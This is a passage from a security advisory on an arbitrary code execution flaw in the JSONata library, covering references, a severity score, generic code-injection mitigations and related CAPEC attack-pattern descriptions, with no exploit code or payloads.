  "id": "GHSA-66mm-25pp-rfff",
  "modified": "2026-08-21T21:04:19Z",
  "published": "2026-08-21T21:04:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jsonata-js/jsonata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions"
}
Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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